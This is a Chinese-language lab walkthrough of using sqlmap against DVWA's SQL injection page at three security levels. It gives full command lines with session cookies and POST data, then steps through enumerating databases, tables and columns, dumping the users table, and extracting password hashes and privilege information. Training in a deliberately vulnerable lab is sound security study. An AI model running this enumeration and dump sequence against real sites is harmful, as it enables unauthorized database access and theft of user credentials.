文章目录
-
-
-
- [1.sqlmap命令及 不同级别探索 能否注入](#1.sqlmap命令及 不同级别探索 能否注入)
-
- 命令option
- [1.1 low等级](#1.1 low等级)
- [1.2 Medium等级](#1.2 Medium等级)
- [1. 3 High等级](#1. 3 High等级)
- [2. 注入流程](#2. 注入流程)
-
- [2.1 数据库](#2.1 数据库)
- [2.2 指定数据库表名](#2.2 指定数据库表名)
- [2.3 指定表的 字段名](#2.3 指定表的 字段名)
- [2.4 内容](#2.4 内容)
- [2.5 当前用户信息](#2.5 当前用户信息)
- [2.6 用户密码](#2.6 用户密码)
- [2.7 其他](#2.7 其他)
-
-
1.sqlmap命令及 不同级别探索 能否注入
命令option
java
sqlmap
-u ""
--cookie="xx=xx;xx=xx"
--data="xx=xx&xx=xx"
1.1 low等级
java
目标url:
`http://192.168.1.2/dvwa/vulnerabilities/sqli/`
存在:可输入查询框
java
输入参数后url变为:
http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
结论:该请求用GET方法
利用sqlmap对目标进行测试:
参考命令option:
输入命令:
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"
提醒需要cookie,有自己的security和PHPSESSID
参考目录option:
输入命令:
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=kh9j2ni5lp0av02opq2v139nlo; security=low"
注入成功:
总结:cookie作为session凭证,请求message通过GET方式时需要携带在请求头。
1.2 Medium等级
图:指定参数选项查询
点击查询示例:
现象:url未改变,改变请求方式了,观察开发工具,method改为POST,参数输入到请求体
结论:需要POST方式的HTTP请求。
参考参数:
命令:
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/#" --data="id=1&Submit=Submit" --cookie="PHPSE SSID=kh9j2ni5lp0av02opq2v139nlo;security=medium"
成功注入
1. 3 High等级
第二页面输入参数,但还是利用POST的http请求。
都是EGT
输入命令
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit" --second-u="http://192.168.1.2/dvwa/vulnerabilities/sqli/session-input.php/id=1" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=high"
执行成功:
2. 注入流程
在确定能注入后,需要走的步骤;(low等级示例)
纵向:库-表-字段-内容-当前用户信息
横向:拖库
2.1 数据库
java
--dbs
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --dbs
2.2 指定数据库表名
java
-D 库名 --tables
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" -D dvwa --tables
2.3 指定表的 字段名
java
-T 表名--columns
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" -T users --columns
2.4 内容
java
-D 库名 -T 表名 -C 字段名 --dump
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" -D dvwa -T users --columns -C user --dump
2.5 当前用户信息
前提:当前用户有权限,读取包含所有用户的那张表
java
--users
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --users
2.6 用户密码
前提:当前用户有读取包含用户密码那张表的 权限
--passwords
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --passwords
解析处理,可能还需结合 加密算法逆向/解密
2.7 其他
当前用户是否未管理权限
--is-dba
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --is-dba
当前site使用的数据库名:
--current-db
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --current-db
当前site的其他用户
--current-user
java
sqlmap.py -u "http://192.168.1.2/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=jlkgo8c1vcamdbol2jrtvfr1o0; security=low" --current-user